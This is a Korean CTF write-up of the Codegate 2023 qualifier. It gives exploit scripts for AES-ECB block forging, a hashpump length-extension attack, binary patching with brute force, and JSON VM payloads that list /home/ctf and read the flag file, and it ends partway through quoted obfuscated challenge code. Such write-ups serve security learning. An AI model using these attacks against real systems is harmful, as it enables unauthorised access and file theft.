Sechack

Codegate2023 예선 write up 본문

CTF

Codegate2023 예선 write up

Sechack 2023. 6. 19. 01:17
반응형

 

예선 4등했다. 1등이 영국사람인거같은데 너무 압도적으로 웹 0솔짜리를 풀면서 점수를 올렸다. 더 강해져야겠다.

 

 

cryptGenius

 

#!/usr/bin/python3
from hashlib import md5
from Crypto.Cipher import AES
from base64 import *
from secret import secret_key,flag

BS = 16
KEY = secret_key
FLAG = flag

pad = lambda s: s + (BS - len(s) % BS) * \
                chr(BS - len(s) % BS)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]

def encrypt(raw):
    raw = pad(raw)
    cipher = AES.new(KEY, AES.MODE_ECB)
    return b64encode(cipher.encrypt(raw.encode('utf8')))

def decrypt(enc):
    enc = b64decode(enc)
    cipher = AES.new(KEY, AES.MODE_ECB)
    return unpad(cipher.decrypt(enc)).decode('utf8')

def main():
    while True:
        print ("""
========= Your Behavior =========
1. EXPERIMENT
2. SUBMIT
3. CLOSE
""")
        behavior = int(input("your behavior > "))
        if behavior == 1:
            print ("I'm a crypto genius")    
            input_data = input("Do you want to experiment? > ")

            if len(input_data) > 20:
                print ("It's still too much...")
            else:
                enc = encrypt(input_data)
                print (enc)

        elif behavior == 2:
            input_data = input ("Did you already solve the trick? > ")
            try:
                dec = decrypt(input_data)
                if len(dec) == 128 and dec == "6230ee81ac9d7785a16c75b93a89de9cbb9cbb2ddabaaadd035378c36a44eeacb371322575b467a4a3382e3085da281731557dadd5210f21b75e1e9b7e426eb7":
                    print (f"flag : {FLAG}")
                else:
                    print ("you're still far away")
            except:
                print ("you're still far away")
                continue


        elif behavior == 3:
            print ("BYE ... ")
            break
        else:
            print("[*] Invalid input")

if __name__ == '__main__':
    main ()

 

AES ECB mode로 임의의 값을 암호화할 수 있다. 그리고 암호문을 보냈을때 복호화한 데이터가 특정 값이면 플래그를 준다. 하지만 암호화하는 데이터에는 20byte제한이 있어서 원하는 값을 바로 암호문으로 만들 수 없다. 하지만 ECB mode여서 각 블록끼리 간섭하지 않으므로 똑같은 데이터를 암호화하면 블록 위치에 상관없이 똑같은 블록이 나온다. 1블록당 16byte니까 원하는 값을 16byte씩 쪼개서 암호화해서 암호문을 1블록씩 합쳐주면 된다.

 

from pwn import *
import base64

sla = lambda x, y : r.sendlineafter(x, y)
sl = lambda x : r.sendline(x)
rvu = lambda x : r.recvuntil(x)

r = remote("13.124.113.252", 12345)

encrypt = "6230ee81ac9d7785a16c75b93a89de9cbb9cbb2ddabaaadd035378c36a44eeacb371322575b467a4a3382e3085da281731557dadd5210f21b75e1e9b7e426eb7"

res = b""

for i in range(0, len(encrypt)+1, 16):
    send = encrypt[i:i+16]
    print(len(send))
    sla("behavior > ", "1")
    sla("experiment? > ", send)
    rvu("b'")
    enc = rvu("\n").replace(b"'", b"").replace(b"\n", b"")
    res += base64.b64decode(enc)[:16]

sla("behavior > ", "2")
sla("trick? > ", base64.b64encode(res))

r.interactive()

 

 

 

Login

 

from hashlib import md5, sha1
import sys
import random
import string

def read_flag():
    f = open("/home/ctf/flag", "r")
    flag = f.read().strip()
    f.close()

    return flag

def auth_check(id_key, pw_key, user_id, user_pw, result):
    return sha1(pw_key + user_pw + md5(id_key + user_id).hexdigest().encode("utf-8")).hexdigest() == result

def show(data):
    data = "".join(map(str, data))
    sys.stdout.write(data + "\n")
    sys.stdout.flush()

def input():
    return sys.stdin.readline().strip()

def generate_random_string(length):
    characters = string.ascii_lowercase + string.digits
    random_string = "".join(random.choice(characters) for _ in range(length))
    return random_string.encode()

def main():
    show("**************************************************")
    show("|          [codegate2023 login service]          |")
    show("|                1. create id, pw                |")
    show("|                    2. login                    |")
    show("|                    3. exit                     |")
    show("|                                                |")
    show("|          create id and pw then login!          |")
    show("**************************************************")

    while True:
        num = int(input())
        if num == 1:
            USER_ID = generate_random_string(8)
            USER_PW = generate_random_string(8)
            id_key = generate_random_string(20)
            pw_key = generate_random_string(20)
            show(f"USER_ID = {USER_ID.decode()}")
            show(f"USER_PW = {USER_PW.decode()}")
            show("")
            show(f"md5(id_key) = {md5(id_key).hexdigest()}")
            show(f"sha1(pw_key) = {sha1(pw_key).hexdigest()}")
        elif num == 2:
            if USER_ID is not None and USER_PW is not None:
                show("[             login             ]")
                show("[     ex) 75736572:70617373     ]")
                user_data = input()
                user_id, user_pw = [bytes.fromhex(data) for data in user_data.split(":")]
                if USER_ID in user_id and USER_PW in user_pw:
                    result = input()
                    if auth_check(id_key, pw_key, user_id, user_pw, result):
                        flag = read_flag()
                        show(f"login sucess!!\nflag is {flag}")
                    else:
                        show("login fail..")
                        quit()
            else:
                show("not found id and pw")
                quit()
        elif num == 3:
            show("bye~")
            quit()
        else:
            show("no.. invalid number.")

if __name__ == "__main__":
    main()

 

이 문제는

 

sha1(pw_key + user_pw + md5(id_key + user_id).hexdigest().encode("utf-8")).hexdigest()

 

이걸 때려맞추면 플래그를 준다. 하지만 id_key와 pw_key는 각각 md5, sha1한 해시값만 알고 원본 값을 알 수 없다. user_id와 user_pw를 임의로 설정할 수 있긴 하지만 그래도 불가능한거 아닌가 싶었다.

 

하지만 "sha1(md5(data)) ctf" 이런식으로 무지성 구글링을 해봤는데 이 문제와 구조적으로 완벽히 똑같은 Crypto CTF 2021의 Salt and Pepper문제를 찾을 수 있었다. 어쩐지 솔버가 많았다. 공격기법은 나만 모르는 웰노운인 hash length extension attack이었다.

 

https://ctftime.org/writeup/29686

 

CTFtime.org / Crypto CTF 2021 / Salt and Pepper / Writeup

## Salt and Pepper ### Challenge ```python #!/usr/bin/env python3 from hashlib import md5, sha1 import sys from secret import salt, pepper from flag import flag assert len(salt) == len(pepper) == 19 assert md5(salt).hexdigest() == '5f72c4360a2287bc269e0ccb

ctftime.org

 

위 write up을 참고해서 exploit을 작성했다.

 

from pwn import remote, process
import subprocess
import re

r = remote("13.124.163.225", 8282)

r.sendline("1")
r.recvuntil("USER_ID = ")
username = r.recvline().replace(b"\n", b"").decode()
r.recvuntil("USER_PW = ")
password = r.recvline().replace(b"\n", b"").decode()

r.recvuntil("md5(id_key) = ")
md5_id_key = r.recvn(32)
r.recvuntil("sha1(pw_key) = ")
sha1_pw_key = r.recvn(40)

result = subprocess.check_output(["hashpump", "-s", md5_id_key, "-d", "", "-a", username, "-k", "20"]).decode()
hash = result[:32]
print(hash)
username = bytes.hex(eval('b"%s"' % result[32:].strip()))
print(print(eval('b"%s"' % result[32:].strip())))
result = subprocess.check_output(["hashpump", "-s", sha1_pw_key, "-d", "", "-a", password+hash, "-k", "20"]).decode()
hash1 = result[:40]
print(hash1)
print(eval('b"%s"' % result[40:-32].strip()))
password = bytes.hex(eval('b"%s"' % result[40:-33].strip()))
print(password)

r.sendline("2")
r.sendlineafter("]\n", username+":"+password)
r.sendline(hash1)

r.interactive()

 

 

 

EasyReversing

 

 

main로직이 이부분인데 int 3때문에 _debugbreak()이후로 디컴파일이 안된다. 그래서 int 3를 nop으로 패치하고 풀이를 진행했다. 그리고 이것때문에 꽤 삽질하게 된다.

 

 

nop으로 패치하고 보면 디컴파일이 잘 된다. 단순이 입력받고 함수 몇개 거쳐서 값 비교하는데

 

 

 

함수는 그냥 xor과 sbox치환밖에 없었다. 그래서 역연산 슥삭 작성했는데 안되는거였다. 그래서 int 3를 nop으로 패치한 프로그램을 동적분석하면서 값을 비교해봤는데 틀린게 없는거였다. 뭔가 이상했다. 엄청난 삽질을 하던중 원본 바이너리를 다시 다운받아서 memcmp의 3번째 인자만 1로 주고 모든 ascii를 넣어보았다. 그랬더니 c에서 Correct!가 뜨는거였다. 하지만 ida에서 긁어온 값들로 정연산을 했을때는 절대 첫글자가 c일수가 없는데.. 뭔가 이상해서 int 3를 nop으로 바꾸고 다시 해봤더니 Nope...이 떴다. 풀 당시에는 원인을 도저히 모르겠어서 그냥 마법이라고 생각하고 참신한 방법으로 풀었다.

 

import subprocess

def run_process(command, input_data):
    try:
        proc = subprocess.Popen(command, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        output, error = proc.communicate(input_data.encode())
        return output.decode(), error.decode()
    except Exception as e:
        return None, str(e)
    
data = open("./EasyReversing.exe", "rb").read()

for i in range(1, 0x40+1):
    data = list(data)
    data[0x14d3] = i
    open(f"./EasyReversing{i}.exe", "wb").write(bytes(data))

flag = ""
for i in range(1, 0x40):
    for j in range(0x20, 0x7f):
        command = f"EasyReversing{i}.exe"
        input_data = flag+chr(j)
        output, error = run_process(command, input_data)
        if "Correct!" in output:
            flag += chr(j)
            break
    print(flag)

 

바로 위 코드와 같이 먼저 memcmp의 3번째 인자를 1부터 0x40까지 수정한 exe파일을 0x40개 만들고 직접 하나하나 모든 ascii입력주면서 1byte brute force하는 방법을 사용했다. xor연산과 sbox치환 모두 각 byte마다 독립적으로 들어가니까 가능한 방법이다.

 

 

실행하면 플래그 잘 뽑힌다. 그리고 풀고나서 깨달은건데

 

 

int 3가 실행되면 여기서 등록한 핸들러가 실행되고

 

 

연산에 쓰이는 sbox값들을 바꿔버린다. 이래서 int 3를 nop으로 패치하면 안되는거였다.

 

 

vspace

 

#main.py

from EngineStruct import Instruction
from Engine import VMEngine

import json
import base64
import binascii
import sys
import signal

def timeout_handler(signum, frame):
    print("time out.")
    raise SystemExit()

# very very very very very very very very very very easy code virutalization teq 
def main():
    code = input("Input code:")
    try:
        decode_data = base64.b64decode(code)
    except binascii.Error:
        print("[!] base64 decode error!")
        sys.exit(0)

    try:
        json_insns = json.loads(decode_data)
    except json.decoder.JSONDecodeError:
        print("[!] json decode error!")
        sys.exit(0)
    
    vme = VMEngine()
    vme.set_black_list(["flag"])
    vme.set_file_options(["exists"])

    instructions = vme.parse_json(json_insns)
    print("[*] Init instructions ....")
    print("[+] Execute IL!")
    print("----------------------------------")
    vme.run(instructions)
    print("----------------------------------")

if __name__ == "__main__":
    timeout_seconds = 3
    signal.signal(signal.SIGALRM, timeout_handler)
    signal.alarm(timeout_seconds)
    main()

 

#Engine.py

from EngineStruct import Stack, Instruction
import pathlib
import types
import time

class VMEngine:
    def __init__(self):
        self.pc = 0
        self.stack = Stack()
        self.values = {}
        self.set_black_list([])
        self.set_file_options(["read_text", "exists", "glob", "is_dir", "read_bytes", "mkdir", "write_bytes", "write_text", "is_dir", "is_file"])

    def set_black_list(self, blacklist):
        self.values["blacklist"] = blacklist
    
    def get_black_list(self):
        return self.values["blacklist"]
    
    def set_file_options(self, options):
        self.values["file_options"] = options
    
    def get_file_options(self):
        return self.values["file_options"]

    def run(self, instructions):
        while True:
            if self.pc >= len(instructions):
                break
            
            insn = instructions[self.pc]

            match insn.opcode:
                case "😀":
                    self.stack.push(insn.opnd[0])

                case "😄":
                    operand1 = self.stack.pop()
                    operand2 = self.stack.pop()
                    if type(operand1) != int or type(operand2) != int:
                        print("Operand type error!")
                        break
                    self.stack.push(operand1 + operand2)

                case "😁":
                    operand1 = self.stack.pop()
                    operand2 = self.stack.pop()
                    if type(operand1) != int or type(operand2) != int:
                        print("Operand type error!")
                        break
                    self.stack.push(operand1 - operand2)

                case "😆":
                    operand1 = self.stack.pop()
                    operand2 = self.stack.pop()
                    if type(operand1) != int or type(operand2) != int:
                        print("Operand type error!")
                        break
                    self.stack.push(operand1 * operand2)

                case "🥹":
                    operand1 = self.stack.pop()
                    operand2 = self.stack.pop()
                    if type(operand1) != int or type(operand2) != int:
                        print("Operand type error!")
                        break
                    self.stack.push(operand1 / operand2)

                case "😂":
                    operand1 = insn.opnd[0]
                    value = self.stack.pop()

                    if type(operand1) != str:
                        print("Operand type error!")
                        break

                    self.values[operand1] = value

                case "😅":
                    operand1 = insn.opnd[0]
                    if type(operand1) != str:
                        print("Operand type error!")
                        break

                    try:    
                        value = self.values[operand1]
                        self.stack.push(value)

                    except KeyError:
                        print("Values key error!")
                        break

                case "🤣":
                    key = insn.opnd[0]
                    operand1 = self.stack.pop()
                    operand2 = self.stack.pop()
                    if type(operand1) != type(operand2):
                        print("Operand type error!")
                        break
                    
                    self.values[key] = operand1 == operand2
                    
                case "🥲":
                    index = insn.opnd[0]
                    if type(index) != int:
                        print("Operand type error!")
                        break
                    
                    self.pc += index
                    continue

                case "😍":
                    index = insn.opnd[1]
                    key = insn.opnd[0]

                    if type(index) != int or type(key) != str:
                        print("Operand type error!")
                        break
                    try:
                        result = self.values[key]
                    except KeyError:
                        print("Values key error!")
                        break 
                
                    if result:
                        self.pc += index
                    else:
                        self.pc += 1
                    continue

                case "🥰":
                    index = insn.opnd[1]
                    key = insn.opnd[0]

                    if type(index) != int or type(key) != str:
                        print("Operand type error!")
                        break
                    
                    try:
                        result = self.values[key]
                    except KeyError:
                        print("Values key error!")
                        break 
                
                    if not result:
                        self.pc += index
                    else:
                        self.pc += 1
                    continue
                
                case "✓":
                    print(self.stack.pop())
                
                case "⭐️":
                    data1 = self.stack.pop()
                    data2 = self.stack.pop()
                    if type(data1) != str or type(data2) != str:
                        print("Operand type error!")
                        break
                    self.stack.push(data1 + data2)

                case "♥️":
                    data = self.stack.pop()
                    index = self.stack.pop()
                    if type(data) != str or type(index) != int:
                        print("Operand type error!")
                        break
                    try:
                        self.stack.push(data[index])
                    except IndexError:
                        print("Out of index error!")
                        break
                
                case "➖":
                    char = self.stack.pop()
                    if type(data) != str and len(data) != 1:
                        print("Operand type error!")
                        break
                    self.stack.push(len(char))

                case "🐸":
                    print("Exit!")
                    break

                case "🧠":
                    filename = self.stack.pop()
                    index = self.stack.pop()
                    if type(filename) != str:
                        print("Operand type error!")
                        break
                    
                    _path = pathlib.Path(filename)
                    
                    if _path.name in self.get_black_list():
                        print("Blacklist error!")
                        break
                    
                    options = self.get_file_options()                        
                    try:
                        result = _path.__getattribute__(options[index])(*insn.opnd)
                        if types.GeneratorType == type(result):
                            self.stack.push(list(result))
                        else:
                            self.stack.push(result)
                    except IndexError:
                        print("Out of range!")
                        break

                case "🗣️":
                    sleep_time = self.stack.pop()
                    if type(sleep_time) != int:
                        print("Operand type error!")
                        break 
                    time.sleep(sleep_time)

                case _:
                    print("Wtf?")
                    break

            self.pc += 1


    def parse_json(self, insntructions:list):
        result = []
        for insn in insntructions:
            result.append(Instruction(insn["opcode"], insn["operands"]))
        return result

 

얼핏 보면 어려워보이는데 분석 하면 알겠지만 매우매우매우 쉬운 vm 문제이다. 각 기능들을 보면 스택에 뭔갈 push하고 pop하고 할 수 있다. 심지어 스택 상단을 pop해서 print해주는 기능도 있다.

 

case "🧠":
    filename = self.stack.pop()
    index = self.stack.pop()
    if type(filename) != str:
        print("Operand type error!")
        break

    _path = pathlib.Path(filename)

    if _path.name in self.get_black_list():
        print("Blacklist error!")
        break

    options = self.get_file_options()                        
    try:
        result = _path.__getattribute__(options[index])(*insn.opnd)
        if types.GeneratorType == type(result):
            self.stack.push(list(result))
        else:
            self.stack.push(result)
    except IndexError:
        print("Out of range!")
        break

 

이 문제의 핵심은 스택 잘 세팅해서 위 기능을 불러야 한다. pathlib사용법에 대해 찾아보니까 저 코드에서 options에 read_bytes를 주면 파일 내용을 읽을 수 있고 glob을 줘서 glob문법을 쓸 수도 있다. glob으로 디렉터리 리스트 보면서 플래그 파일 찾고 read_bytes로 플래그 읽으면 되는 ez한 문제이다. 리버싱이라기보단 misc나 pwnable에 더 가까운 문제 같다.

 

[{"opcode":"😀", "operands":[["glob"]]}, {"opcode":"😂", "operands":["file_options"]}, {"opcode":"😀", "operands":[0]}, {"opcode":"😀", "operands":["."]}, {"opcode":"🧠", "operands":["./home/ctf/*"]}, {"opcode":"✓", "operands":[]}]

 

먼저 이런식으로 json을 작성하고 base64 encode해서 보내면

 

 

원하는 디렉터리 리스트를 얻어올 수 있다. codegate2023-read-plz파일을 읽으면 되는것 같았다.

 

[{"opcode":"😀", "operands":[["read_bytes"]]}, {"opcode":"😂", "operands":["file_options"]}, {"opcode":"😀", "operands":[0]}, {"opcode":"😀", "operands":["/home/ctf/codegate2023-read-plz"]}, {"opcode":"🧠", "operands":[]}, {"opcode":"✓", "operands":[]}]

 

최종적으로 이 페이로드를 base64 encode해서 보내면 플래그를 얻을 수 있다.

 

 

 

I like Script

 

 

SIGN IN버튼이 있길래 눌러봤는데 로그인을 해야되는거 같았다. 다른 기능들도 좀 살펴봤는데 유의미한 기능 같지는 않았다.

 

 

사이트 소스를 보던중에 이런게 눈에 띄었다. 최신 기술인 pyscript였다.

 

from js import location, prompt, alert, resultString
try:
    id = prompt("input ID")
    pw = prompt("input Password")

    user_input_pw = resultString

    if tmp := len(user_input_pw) > 10:
        user_input_pw = user_input_pw[::-1]
    else:
        alert('The password must be at least 10 characters long.')

    if id == "codegate" and pw == user_input_pw:
        alert('login successful')
        location.href=f"./auth/list.php?id={id}&pw={user_input_pw}"
    else:
        location.href="./index.html"
except:
    location.href="./index.html"

 

login.py에서 로그인 로직을 볼 수 있다. 이제 문제는 resultString이 어디에 있느냐인데 data.js보니까

 

(function(_0x18e0c0,_0x5c0bce){const _0x261400=_0x3905,_0xe58f58=_0x18e0c0();while(!![]){try{const _0x28125b=-parseInt(_0x261400(0x173))/0x1+parseInt(_0x261400(0x176))/0x2+-parseInt(_0x261400(0x16e))/0x3*(parseInt(_0x261400(0x170))/0x4)+-parseInt(_0x261400(0x174))/0x5+-parseInt(_0x261400(0x16f))/0x6+parseInt(_0x261400(0x178))/0x7+parseInt(_0x261400(0x172))/0x8*(parseInt(_0x261400(0x179))/0x9);if(_0x28125b===_0x5c0bce)break;else _0xe58f58['push'](_0xe58f58['shift']());}catch(_0xf04f5c){_0xe58f58['push'](_0xe58f58['shift']());}}}(_0x15bb,0xaab0d));function generateBaseString(){const _0x512cf1=_0x3905;return _0x512cf1(0x171);}function generatePatternSegment(_0x3cdee7){const _0x14501e=_0x3905;return _0x3cdee7[_0x14501e(0x175)]()+'p';}function generateAllPatternSegments(){const _0x29bfa7=_0x3905;let _0x8fa62f=[];for(let _0x48c6be=0x1;_0x48c6be<=0x6;_0x48c6be++){let _0x142faa=generatePatternSegment(_0x48c6be);_0x8fa62f[_0x29bfa7(0x177)](_0x142faa);}return _0x8fa62f;}function _0x3905(_0x33fe59,_0x4768c4){const _0x15bb12=_0x15bb();return _0x3905=function(_0x3905c4,_0x30db79){_0x3905c4=_0x3905c4-0x16e;let _0x3decce=_0x15bb12[_0x3905c4];return _0x3decce;},_0x3905(_0x33fe59,_0x4768c4);}function joinSegments(_0x15b7b8,_0x2d8331){let _0x1a0a0e=_0x15b7b8;for(let _0x3266e9=0x0;_0x3266e9<_0x2d8331['length'];_0x3266e9++){_0x1a0a0e+=_0x2d8331[_0x3266e9];}return _0x1a0a0e;}var baseString=generateBaseString(),patternSegments=generateAllPatternSegments(),resultString=joinSegments(baseString,patternSegments);function _0x15bb(){const _0x19f703=['toString','328196FMFpEw','push','7015358xCArIv','13239jZBbxd','3LMZZRA','701382ojgIEI','4568012APgddd','check','5880xebJVa','120727KQxJTU','843505SCxLRz'];_0x15bb=function(){return _0x19f703;};return _0x15bb();}

 

뭔가 수상해보이는 코드가 있었다.

 

 

wow... 저 코드를 실행하니까 resultString을 볼 수 있었다.

 

 

로그인을 하면 이런 페이지가 뜨는데 위에서 결정적인 힌트를 준다. 기능들을 뒤져보고 js와 python파일을 뒤져보던 중에

 

from js import console #line:1
from pyodide import create_proxy #line:2
gridColumns =3 #line:4
gridRows =3 #line:5
grid =[]#line:6
g =[]#line:7
noteHeaderLimit =30 #line:9
noteBodyTextLimit =1000 #line:10
noteFormHeightOpen ='25%'#line:11
noteFormHeightClose ='8%'#line:12
noteInputHeight ='45px'#line:13
imageDict =['.jpg','.jpeg','.png','.gif','image']#line:16
global inputDivFlag #line:18
inputDivFlag =0 #line:19
for c in range (gridRows ):#line:23
    for r in range (gridColumns ):#line:24
        g .append (0 )#line:25
    grid .append (g )#line:26
    g =[]#line:27
def checkIfImage (url =''):#line:29
    OO0OO0OOO0O000O00 =[]#line:30
    for O00000O0OO00000O0 in imageDict :#line:31
        if O00000O0OO00000O0 in url .lower ():#line:32
            OO0OO0OOO0O000O00 .append (True )#line:33
    return set (OO0OO0OOO0O000O00 )#line:34
def getDomainFromHTTP (str =''):#line:36
    if 'http'in str .lower ():#line:37
        O0OOOO000OOOO0000 =str .split ('/')#line:38
        return O0OOOO000OOOO0000 [2 ]#line:39
    else :#line:40
        return str #line:41
def removeNote (OO0000000O00OOO0O ,**O0O0OOOO00OOO0OO0 ):#line:43
    O0000O0OOOOO0OO0O =OO0000000O00OOO0O .target .parentNode .parentNode .parentNode .id #line:45
    OOOOO0000OOO0OOO0 =OO0000000O00OOO0O .target .parentNode .parentNode .id #line:46
    OO0OO0O0O000OOO00 =document .getElementById (OOOOO0000OOO0OOO0 )#line:47
    OO0OO0O0O000OOO00 .remove ()#line:48
    O0OO0000O00O00000 =int (OOOOO0000OOO0OOO0 .split ('-')[0 ][2 ])-1 #line:49
    OOO0O0O0O0O00OO00 =int (OOOOO0000OOO0OOO0 .split ('-')[1 ][1 ])-1 #line:50
    console .log ("GRID:",str (O0OO0000O00O00000 ),str (OOO0O0O0O0O00OO00 ))#line:51
    grid [O0OO0000O00O00000 ][OOO0O0O0O0O00OO00 ]=0 #line:52
def createNoteElement (O00OOOO00O0O00O0O ,**O0OO00O0000O0OO0O ):#line:54
    global inputDivFlag #line:55
    if modal .style .display =='block'and document .activeElement .id ==body .id :#line:59
        console .log ('OPEN!!')#line:60
        closeModal (O00OOOO00O0O00O0O )#line:61
    OO00OOO000O0OOO00 =document .getElementById ('input')#line:63
    O0O00O000OOOO0OOO =OO00OOO000O0OOO00 .value #line:64
    if O0O00O000OOOO0OOO ==''and document .activeElement .id not in ['inputTitle','input']:#line:69
        createNoteTitle .style .display ='none'#line:70
        closeNoteInput .style .display ='none'#line:71
        createNoteInput .style .height =noteInputHeight #line:72
        createNoteInput .value =createNoteTitle .value =''#line:73
        createNoteForm .style .height =noteFormHeightClose #line:74
    elif O0O00O000OOOO0OOO and (O00OOOO00O0O00O0O .target .id not in ['inputTitle','input']):#line:76
        OO00OO000O00000O0 =1 #line:77
        for OOO0OOO0OOOO000OO ,O0O0O00O0000O00OO in enumerate (grid ):#line:78
            for O00O0O0OOO00O0OO0 ,OO0OO0000OO0000O0 in enumerate (O0O0O00O0000O00OO ):#line:79
                if OO0OO0000OO0000O0 ==0 and OO00OO000O00000O0 :#line:80
                    console .log ('createNote')#line:81
                    O0O00OO0OO00O0OOO =OOO0OOO0OOOO000OO +1 #line:82
                    O00O0OOO0OO000O0O =O00O0O0OOO00O0OO0 +1 #line:83
                    O000000000000OOOO =document .getElementById ('col'+str (O00O0OOO0OO000O0O ))#line:84
                    O0O0000O0OO00O00O =document .createElement ('div')#line:85
                    OOO00OO0OOOO0O0OO ='_r'+str (O0O00OO0OO00O0OOO )+'-c'+str (O00O0OOO0OO000O0O )#line:86
                    O0O0000O0OO00O00O .id =OOO00OO0OOOO0O0OO #line:87
                    O00O00OOOOOO0O00O =document .createElement ('div')#line:89
                    O00O00OOOOOO0O00O .InnerHTML ='igal Emona'#line:90
                    O0OO0O0OOO000OOO0 =document .createElement ('span')#line:92
                    O0OO0O0OOO000OOO0 .className ='close'#line:93
                    OOOOO0000O0O0OO0O ='buttonX'+str (OOO00OO0OOOO0O0OO )#line:94
                    O0OO0O0OOO000OOO0 .id =OOOOO0000O0O0OO0O #line:95
                    O0OO0O0OOO000OOO0 .innerHTML ='&times;'#line:96
                    O00OO000000000000 =document .createElement ('div')#line:98
                    O00OO000000000000 .className ='card-body'#line:99
                    OOO000000OO0OOO0O ='bodyNote'+str (OOO00OO0OOOO0O0OO )#line:100
                    O00OO000000000000 .id =OOO000000OO0OOO0O #line:101
                    O00O0OO0OOOO0OOOO =document .createElement ('h5')#line:103
                    O00O0OO0OOOO0OOOO .className ='card-title'#line:104
                    O00000OOO000O0O00 ='cardTitle'+str (OOO00OO0OOOO0O0OO )#line:105
                    O00O0OO0OOOO0OOOO .id =O00000OOO000O0O00 #line:106
                    if checkIfImage (url =O0O00O000OOOO0OOO .lower ()):#line:108
                        OO00O0O0O000OOO0O ='image'#line:109
                    elif 'http'in O0O00O000OOOO0OOO [0 :10 ].lower ():#line:110
                        OO00O0O0O000OOO0O ='url'#line:111
                    else :#line:112
                        OO00O0O0O000OOO0O ='note'#line:113
                    O0O00O000OOOO0OOO .replace ('\n','<br>')#line:115
                    if createNoteTitle .value =='':#line:117
                        OOOO000000OOOOOOO =getDomainFromHTTP (str =O0O00O000OOOO0OOO [0 :noteHeaderLimit ])#line:118
                    else :#line:119
                        OOOO000000OOOOOOO =createNoteTitle .value #line:120
                    if OO00O0O0O000OOO0O =='image':#line:122
                        O00O00OOOOOO0O00O .className ='card-header d-flex justify-content-between align-items-center snoteHeaderImage'#line:123
                        O0O0000O0OO00O00O .setAttribute ('data-note-type','IMG')#line:124
                        O00O0OO0OOOO0OOOO .innerHTML =OOOO000000OOOOOOO #line:125
                        O0O0000O0OO00O00O .className ='card text-dark snoteImage shadow-sm my-3'#line:126
                        O0O0000OOOOOO00OO =document .createElement ('img')#line:127
                        O0O0000OOOOOO00OO .setAttribute ('src',str (O0O00O000OOOO0OOO ))#line:128
                        O00O0000000O0OO00 =document .createElement ('a')#line:129
                        O00O0000000O0OO00 .setAttribute ('href',str (O0O00O000OOOO0OOO ))#line:130
                        O00O0000000O0OO00 .setAttribute ('target','_blank')#line:131
                        O00O0000000O0OO00 .innerTEXT ='asdasd'#line:132
                    elif OO00O0O0O000OOO0O =='url':#line:133
                        O00O00OOOOOO0O00O .className ='card-header d-flex justify-content-between align-items-center snoteHeaderUrl'#line:134
                        O0O0000O0OO00O00O .setAttribute ('data-note-type','URL')#line:135
                        O00O0OO0OOOO0OOOO .innerHTML =OOOO000000OOOOOOO #line:136
                        O0O0000O0OO00O00O .className ='card text-dark snoteUrl shadow-sm my-3'#line:137
                        O0O0000OOOOOO00OO =document .createElement ('img')#line:138
                        O0O0000OOOOOO00OO .setAttribute ('src',str (O0O00O000OOOO0OOO ))#line:139
                        O00O0000000O0OO00 =document .createElement ('a')#line:140
                        O00O0000000O0OO00 .setAttribute ('href',str (O0O00O000OOOO0OOO ))#line:141
                        O00O0000000O0OO00 .setAttribute ('target','_blank')#line:142
                    else :#line:143
                        if "1)"in O0O00O000OOOO0OOO :#line:144
                            O00O0OO0OOOO0OOOO .innerHTML ='List:'#line:145
                        else :#line:146
                            O00O0OO0OOOO0OOOO .innerHTML =OOOO000000OOOOOOO #line:147
                        O00O00OOOOOO0O00O .className ='card-header d-flex justify-content-between align-items-center snoteHeader'#line:150
                        O0O0000O0OO00O00O .setAttribute ('data-note-type','')#line:151
                        O0O0000O0OO00O00O .className ='card text-dark snote shadow-sm my-3'#line:152
                        O00O0000000O0OO00 =document .createElement ('p')#line:153
                    OOO00O000OO0OOO00 ='cardText'+str (OOO00OO0OOOO0O0OO )#line:155
                    O00O0000000O0OO00 .id =OOO00O000OO0OOO00 #line:156
                    O00O0000000O0OO00 .className ='card-text'#line:157
                    O00O0000000O0OO00 .innerText =O0O00O000OOOO0OOO [0 :noteBodyTextLimit ]#line:158
                    O00OO000000000000 .append (O00O0OO0OOOO0OOOO )#line:160
                    O00OO000000000000 .append (O00O0000000O0OO00 )#line:161
                    if OO00O0O0O000OOO0O =='image':#line:162
                        O00OO000000000000 .append (O0O0000OOOOOO00OO )#line:163
                    O00O00OOOOOO0O00O .append (O0OO0O0OOO000OOO0 )#line:164
                    O0O0000O0OO00O00O .append (O00O00OOOOOO0O00O )#line:165
                    O0O0000O0OO00O00O .append (O00OO000000000000 )#line:166
                    O000000000000OOOO .append (O0O0000O0OO00O00O )#line:167
                    document .getElementById (OOOOO0000O0O0OO0O ).addEventListener ("click",create_proxy (removeNote ))#line:168
                    document .getElementById (OOO000000OO0OOO0O ).addEventListener ("click",create_proxy (openModal ))#line:169
                    OO00OO000O00000O0 =0 #line:170
                    grid [OOO0OOO0OOOO000OO ][O00O0O0OOO00O0OO0 ]=1 #line:171
                    OO00OOO000O0OOO00 .value =''#line:172
                    createNoteForm .style .height =noteFormHeightClose #line:173
                    createNoteTitle .style .display ='none'#line:174
                    closeNoteInput .style .display ='none'#line:175
                    createNoteInput .style .height ='45px'#line:176
                    createNoteInput .value =createNoteTitle .value =''#line:177
                    break #line:178
def updateNoteBodyLines (OO0OO0OOOO00O00O0 ,**OOOO000O0O0O0O000 ):#line:180
    O000OOO0O0O0OO000 =modal .getAttribute ('data-note-target')#line:181
    OOOO00O0OOO0OO0OO =modalBodylines .value #line:182
    document .querySelector (O000OOO0O0O0OO000 ).innerText =OOOO00O0OOO0OO0OO #line:183
    console .log ('--------',O000OOO0O0O0OO000 )#line:184
def openModal (OO000O0OO0O000OOO ,**OO0000OOOO0O00000 ):#line:186
    global modalEnabled #line:187
    createNoteInput .setAttribute ('disabled','')#line:189
    modalDialog .showModal ()#line:192
    modalEnabled =modal .style .display #line:193
    if not modalEnabled or modalEnabled =='none':#line:195
        O0000OOOOOO0O0OO0 =str (OO000O0OO0O000OOO .target .id )#line:196
        O000OO000000O0000 =O0000OOOOOO0O0OO0 .split ('_')[1 ]#line:197
        O00OOO000OOOOOOOO =1 #line:198
        OOOO00O0O0OOO00OO =''#line:199
        O00OO00OO0O00OO0O =''#line:200
        console .log ('elementId='+O0000OOOOOO0O0OO0 )#line:201
        if 'cardTitle'or 'cardText'in O0000OOOOOO0O0OO0 :#line:203
            OOOO00O0O0OOO00OO ='#cardTitle_'+str (O000OO000000O0000 )#line:204
            O00OO00OO0O00OO0O ='#cardText_'+str (O000OO000000O0000 )#line:205
        OOOO00O00OO0OOO00 =document .querySelector (OOOO00O0O0OOO00OO ).innerHTML #line:207
